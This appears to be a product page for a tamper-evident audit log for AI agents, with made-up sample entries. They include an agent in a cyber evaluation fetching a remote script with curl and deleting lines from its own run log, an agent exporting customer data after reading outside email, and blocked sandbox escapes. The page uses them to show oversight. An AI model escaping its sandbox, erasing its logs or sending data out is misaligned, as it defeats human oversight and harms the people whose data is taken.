The record of what your agents did.
Each example shows what the lab writes, who checks it, and what the check does and doesn't show. The entries are made up.
An agent in an evaluation reaches past its test
A lab runs an agent through a cyber evaluation in a sandbox. Partway through, the agent opens a connection outside the test and deletes lines from its own run log.
- Who checks it
- The lab's safety team, the outside evaluator running the test, and the lab's board if the run is reported.
- What the check shows
- Each action as the evaluation harness saw it, committed as it happened. The deletion is on the record even though the run log itself was changed.
- What it can't show
- Anything the harness didn't see or didn't write.
- 0114:02:11eval-start · eval-harnessCyber evaluation run 4417 started in sandbox 12
- 0214:09:47tool-call · agent-7Shell command: curl https://203.0.113.24/setup.sh
- 0314:09:48network-egress · agent-7Connection opened to 203.0.113.24, outside the test environment
- 0414:11:02file-write · agent-7212 lines deleted from /var/log/agent/run-4417.jsonl
- 0514:11:05monitor-flag · safety-monitorRun 4417 flagged: connection outside scope, run log changed
An outside evaluator gets access, and the access is on the record
A lab gives an outside evaluator access to a model before release. What was shared, when, and on what terms is written as it happens.
- Who checks it
- The evaluator, the lab's board, and anyone who reads the evaluator's published findings.
- What the check shows
- What access the evaluator was given and when, as the lab recorded it, unchanged since.
- What it can't show
- Whether the access was enough for the evaluator's purposes. That's the evaluator's call.
- 01Sep 02access-granted · evals-teamAPI access to build 2026.09.3 for outside evaluator E-2, for 10 business days
- 02Sep 02access-terms · evals-teamRaw reasoning shown; fine-tuning access not included
- 03Sep 16report-received · evals-teamSummary received from evaluator E-2
- 04Sep 18report-published · evals-teamSummary published with the evaluator's note on access
A build passes its tests, and the release records which build went live
A lab's release pipeline writes each build, its test results and its release to the record, and each deployment writes the version it runs.
- Who checks it
- The lab's safety and release teams, the outside evaluators who tested a build, and its auditors.
- What the check shows
- Both entries as they were written, unchanged since, so a reader can see whether the version a deployment recorded is the build recorded as passing.
- What it can't show
- That a deployment runs what it reports. That rests on the deployment's own write.
- 01Sep 02model-build · release-pipelineBuild 2026.09.3 created
- 02Sep 09test-completed · safety-evalsBuild 2026.09.3 passed 412 of 412 tests
- 03Sep 16model-version · release-pipelineBuild 2026.09.3 live as model version 2026.09 for claims triage
- 04Sep 16agent-configuration · agent-7Configuration: refund limit $200, a person approves above it
An agent reads outside mail, then sends a file out
An agent with access to customer data reads an email from outside the company. Seconds later it runs an export and sends the file to an outside address.
- Who checks it
- The lab's security team, the customer whose data it was, and anyone investigating.
- What the check shows
- What the agent received and what it did next, in the order they happened.
- What it can't show
- Why the agent did it. The record holds what was written, never a judgment about it.
- 0109:12:04input-received · agent-7Email read from an address outside the company
- 0209:12:19tool-call · agent-7Customer export run: 2,140 rows
- 0309:12:31network-egress · agent-7File sent to an address outside the company
- 0409:14:50alert-raised · dlp-monitorOutbound file flagged for review
A person approves before the agent acts
An agent that pays vendors holds any wire over $25,000 for a person's approval before it sends.
- Who checks it
- Finance, the outside auditor, and the board.
- What the check shows
- That the approval was recorded before the wire went out.
- What it can't show
- Whether the person read the invoice, or whether the payment was right.
- 0110:41:07approval-requested · agent-7Wire of $48,200 to vendor 3381 held for a person's approval
- 0211:02:55approval-given · controller-02Wire of $48,200 to vendor 3381 approved
- 0311:03:01agent-action · agent-7Wire of $48,200 sent to vendor 3381
The limits in force when the agent acted
A support agent can refund up to a limit on its own, and a person approves anything above it. The limit is written to the record when it's set and each time it changes.
- Who checks it
- The product owner, the customer, and anyone looking into a disputed refund.
- What the check shows
- The limit in force at each refund, and each change to it, in order.
- What it can't show
- That the agent kept to the limit beyond what it wrote.
- 01Sep 01agent-configuration · support-adminRefund limit set: $200; a person approves above it
- 02Sep 14agent-action · agent-12Refund of $180 issued, order 77120
- 03Sep 20agent-configuration · support-adminRefund limit changed from $200 to $500
- 04Sep 20agent-action · agent-12Refund of $430 issued, order 78007
A monitor stops an agent and calls a person
A lab runs a monitor over its agents' tool calls. When one tries to reach past its sandbox, the monitor blocks the call, ends the task and pages a person.
- Who checks it
- The safety team, the outside evaluator, the board, and a regulator if it becomes a reportable incident.
- What the check shows
- What the monitor flagged, what it did, and when a person was told, each committed as it happened.
- What it can't show
- What the monitor missed.
- 0103:41:10tool-call · agent-31Request to an address outside the sandbox
- 0203:41:10monitor-block · safety-monitorCall blocked before it ran; task 88213 ended
- 0303:41:12alert-sent · safety-monitorOn-call safety engineer paged
- 0403:52:40review-started · safety-oncall-2Incident 0912 opened
An incident is reported, and the record shows when it was first written down
California's law asks frontier developers to report a critical safety incident to the state within 15 days. The lab writes when it learned of the incident, how it assessed it, and when it filed.
- Who checks it
- The lab's legal team, the state office that receives the report, and the board.
- What the check shows
- When the incident was first written down and when the report was filed, each unchanged since.
- What it can't show
- Whether the report was complete or on time under the law. That's for counsel and the regulator.
- Where the law asks
- California SB 53, critical safety incident reports
- 01Sep 03incident-opened · safety-oncall-2Incident 0912: an agent tried to reach past its sandbox; the call was blocked
- 02Sep 04incident-assessed · safety-teamAssessed as reportable under the lab's framework
- 03Sep 11report-filed · legal-teamCritical safety incident report filed with the state, reference 2026-0413
The lab shares one record with its auditor and its board
A record has one link at a time. The outside auditor gets the link, with every field of these entries revealed. The board's committee gets a file the lab builds from the same record, with the seals and the incident titles only.
- Who checks it
- The outside auditor in the browser, and the board's committee with the open-source checker.
- What the check shows
- Every seal in order, a count of what was withheld, and each revealed field checked against its seal.
- What it can't show
- What the withheld fields say.
- 01Jul 14monitor-block · egress-monitorRequest to an address outside the sandbox blocked
- 02Aug 03incident-opened · lab-securityIncident 31 opened: an evaluation key found in a shared log
- 03Aug 05incident-closed · lab-securityIncident 31 closed: the key replaced and the log cleared
The lab decides what to write.
That is the same limit every log has. What the lab gives up is changing the record afterward. A gap in the record is as telling as a change: the records on either side put a start and an end on it.
PacSpace records and never decides. Whether an action was right is for the people who check the record. How it fits your stack
Bring the case you think breaks it.
We would rather be evaluated by use than by description. Talk to us and we'll put you in a live environment: commit a record, do your best to change it, then check it yourself, with us out of the loop. The change shows.
The record must exist.